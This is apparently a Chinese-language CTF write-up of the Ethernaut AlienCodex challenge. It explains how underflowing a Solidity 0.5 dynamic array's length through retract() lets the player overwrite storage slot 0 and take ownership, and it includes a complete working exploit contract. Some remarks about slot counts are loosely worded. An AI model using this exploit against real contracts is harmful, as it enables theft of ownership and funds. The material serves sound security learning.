AlienCodeX

这道题综合利用了 solidity 低版本的一些特性,并且是两种环环相扣,最终才会实现这种难以预料的情况发生。

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function makeContact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

首先分析源码,发现合约版本 5.0(对于合约版本 < 8.0 的需要留意上下溢出)

刚开始做的时候,不知道继承合约会把原合约中的状态变量一块继承,也算是找到了一个盲点。

在 EVM 中,变量存储都是存在插槽(slot)中的,一共有 2*256 个正好对应 sha256。所以*slot0存储的是父合约(Ownable)中的地址类型变量(推断出来的,因为这道题的目标是成为 Owner)。

而想要成为 Owner,在这个合约是没有函数的,但是,存在函数retract(),该函数可以减少bytes32[] codex的长度(在 Solidity 0.8 版本之前,动态数组没有内置 pop 方法来删除最后一个变量,只能通过array.length--的方式)这里就出现了问题:Solidity < 0.8 版本存在溢出问题,可以利用该函数,使得动态数组下溢,因为 EVM 只有 `2 256`个插槽,下溢后,动态数组覆盖了所有的插槽,这样就可以直接覆盖 slot0 修改 Owner 为我们自己**。

还有一点就是关于:动态数组的实际存储位置(之前的博客文章——Yul内联汇编入门里有写)然后在我尝试攻击的时候,忽略了几个点:

  • keccak256(abi.encode(uint256("实际插槽位置")))我使用的是abi.encodePacked紧密打包方式,这里错了

  • 进制转换的问题:

    • 我最开始的转换方式为:bytes32(bytes20(uint160(msg.sender)))
    • 而实际上的转换方式为:bytes32(uint256(uint160(msg.sender)))

    一眼看上去没什么区别,但是这涉及到了显示转换补码的方式(之前的博客文章——solidity类型转换相关有写):

    • uint这一类(包括int)显示转换的时,举例:

      • 高位转低位:保留低位

        uint32 --> uint16: 0x12345678 --> 0x5678

      • 低位转高位:前补零
        uint16 --> uint32: 0x5678 --> 0x00005678

    • bytes类:

      • 高位转地位:保留高位
        bytes2 --> bytes1: 0x1234 --> 0x12
      • 位转高位:后补零
        bytes1 --> bytes2: 0x12 --> 0x1200

    所以现在不难发现我的问题了:

    • 我得到的:0xaddress000...
    • 实际上的:0x000...address

完整的 PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IAlienCodex {
    function contacted() external;
    function makeContact() external;
    function record(bytes32 _content)  external;
    function retract()  external;
    function revise(uint i, bytes32 _content)  external;
    function owner() external returns(address);
}

contract Hack {
    constructor(address target) {
        IAlienCodex(target).makeContact();
        IAlienCodex(target).retract();
        uint256 slot;
        slot = uint256(keccak256(abi.encode(uint256(1))));
        uint256 i = 0;
        unchecked {
            i -= slot;
        }
        IAlienCodex(target).revise(i,bytes32(uint256(uint160(msg.sender))));
        require(IAlienCodex(target).owner() == address(msg.sender), "hack failed");
    }
}

补充:由于源码中涉及到了修饰符contacted绕过这个需要调用一次函数makeContact

关于 slot0 对应的字节数组序号,这就涉及到数学计算了:我们通过slot = uint256(keccak256(abi.encode(uint256(1))))得到了动态数组中第一个元素的实际存储位置,数组中一共有2 ** 256个变量,第一个是变量slot对应的位置,而 0 对应的数组序号,一样利用下溢计算即可,即0 - slot。由于我们 PoC 的合约版本 > 0.8 所以利用下溢时,需要使用unchecked代码块,取消内置的溢出检测

还有一个可以优化的点,在构造函数中,我传入的类型为address地址类型,但实际上,可以直接传递IAlienCodex这个接口类型,后续的书写会简单很多,直接target.函数名即可,而我现在的就比较麻烦IAlienCodex(target).函数名